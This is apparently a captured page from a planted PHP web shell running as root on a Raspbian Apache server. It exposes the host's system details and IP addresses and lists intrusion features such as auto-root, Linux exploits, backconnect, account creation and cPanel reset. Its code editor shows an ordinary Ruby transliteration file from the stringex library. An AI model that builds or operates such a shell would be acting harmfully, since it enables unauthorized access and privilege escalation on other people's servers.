Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
stringex /
[ HOME SHELL ]
Name
Size
Permission
Action
acts_as_url
[ DIR ]
drwxr-xr-x
configuration
[ DIR ]
drwxr-xr-x
locales
[ DIR ]
drwxr-xr-x
localization
[ DIR ]
drwxr-xr-x
rails
[ DIR ]
drwxr-xr-x
unidecoder_data
[ DIR ]
drwxr-xr-x
acts_as_url.rb
5.19
KB
-rw-r--r--
configuration.rb
180
B
-rw-r--r--
configuration_lite.rb
135
B
-rw-r--r--
core_ext.rb
516
B
-rw-r--r--
localization.rb
2.78
KB
-rw-r--r--
string_extensions.rb
8.68
KB
-rw-r--r--
unidecoder.rb
2.38
KB
-rw-r--r--
version.rb
126
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unidecoder.rb
# encoding: UTF-8 require 'yaml' require 'stringex/localization' module Stringex module Unidecoder # Contains Unicode codepoints, loading as needed from YAML files CODEPOINTS = Hash.new{|h, k| h[k] = ::YAML.load_file(File.join(File.expand_path(File.dirname(__FILE__)), "unidecoder_data", "#{k}.yml")) } unless defined?(CODEPOINTS) class << self # Returns string with its UTF-8 characters transliterated to ASCII ones # # You're probably better off just using the added String#to_ascii def decode(string) string.chars.map{|char| decoded(char)}.join end # Returns character for the given Unicode codepoint def encode(codepoint) ["0x#{codepoint}".to_i(16)].pack("U") end # Returns Unicode codepoint for the given character def get_codepoint(character) "%04x" % character.unpack("U")[0] end # Returns string indicating which file (and line) contains the # transliteration value for the character def in_yaml_file(character) unpacked = character.unpack("U")[0] "#{code_group(unpacked)}.yml (line #{grouped_point(unpacked) + 2})" end private def decoded(character) localized(character) || from_yaml(character) end def localized(character) Localization.translate(:transliterations, character) end def from_yaml(character) return character unless character.ord > 128 unpacked = character.unpack("U")[0] CODEPOINTS[code_group(unpacked)][grouped_point(unpacked)] rescue # Hopefully this won't come up much # TODO: Make this note something to the user that is reportable to me perhaps "?" end # Returns the Unicode codepoint grouping for the given character def code_group(unpacked_character) "x%02x" % (unpacked_character >> 8) end # Returns the index of the given character in the YAML file for its codepoint group def grouped_point(unpacked_character) unpacked_character & 255 end end end end module Stringex module StringExtensions module PublicInstanceMethods # Returns string with its UTF-8 characters transliterated to ASCII ones. Example: # # "⠋⠗⠁⠝⠉⠑".to_ascii #=> "france" def to_ascii Stringex::Unidecoder.decode(self) end end end end
Close